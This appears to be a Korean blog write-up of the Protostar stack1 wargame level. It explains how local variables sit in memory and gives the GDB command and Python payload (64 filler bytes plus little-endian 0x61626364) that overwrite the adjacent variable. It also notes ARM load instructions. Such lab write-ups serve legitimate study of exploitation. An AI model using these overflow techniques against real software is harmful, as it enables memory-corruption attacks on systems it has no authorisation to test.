This level looks at the concept of modifying variables to specific values in the program, and how the variables are laid out in memory.
This level is at /opt/protostar/bin/stack1
Hints
- If you are unfamiliar with the hexadecimal being displayed, “man ascii” is your friend.
- Protostar is little endian
Key Point
1. 문제를 푸는 것 보다. 변수에 저장되어있는 위치를 알아내는것이 키포인트
2. 파이썬 백트릭 사용하여 매개변수 넣는법을 알아야함.
3. 패턴으로 파악시 패턴은 PC 값을 확인하기 때문에, 원하는 변수값 위치랑 다르다는 것을 알아야한다.
GDB 인자값에 파이썬 실행 값을 넣는 방법
run `python -c 'print "\xff\xff\xff\xff"'`
위에 문법을 응용하여 풀었음(백트릭 사용하여 파이썬 구문 실행후 인자로 입력함)
r `python -c 'print("A"*64+"\x64\x63\x62\x61")'`
Load 명령어에 대해서..
ldr r3, [r11, #-8]
=> r3=*(r11-0x8)와 동일하다.
ldr r2, [pc, #48] ; 0x1053c <main+140>
=> 0x1053c 메모리에 문자열 또는 주소가 저장되어있는데 이것을 r2레지스터에 로드함
=> x/s 0x1053c 를 통해 확인 할 수 있다.
'리버싱CTF > Protostar' 카테고리의 다른 글
Stack5 (Success) (0) | 2020.01.01 |
---|---|
Stack5(Fail) (0) | 2020.01.01 |
Stack4 (0) | 2020.01.01 |
Stack3 (0) | 2020.01.01 |
Stack2 (0) | 2020.01.01 |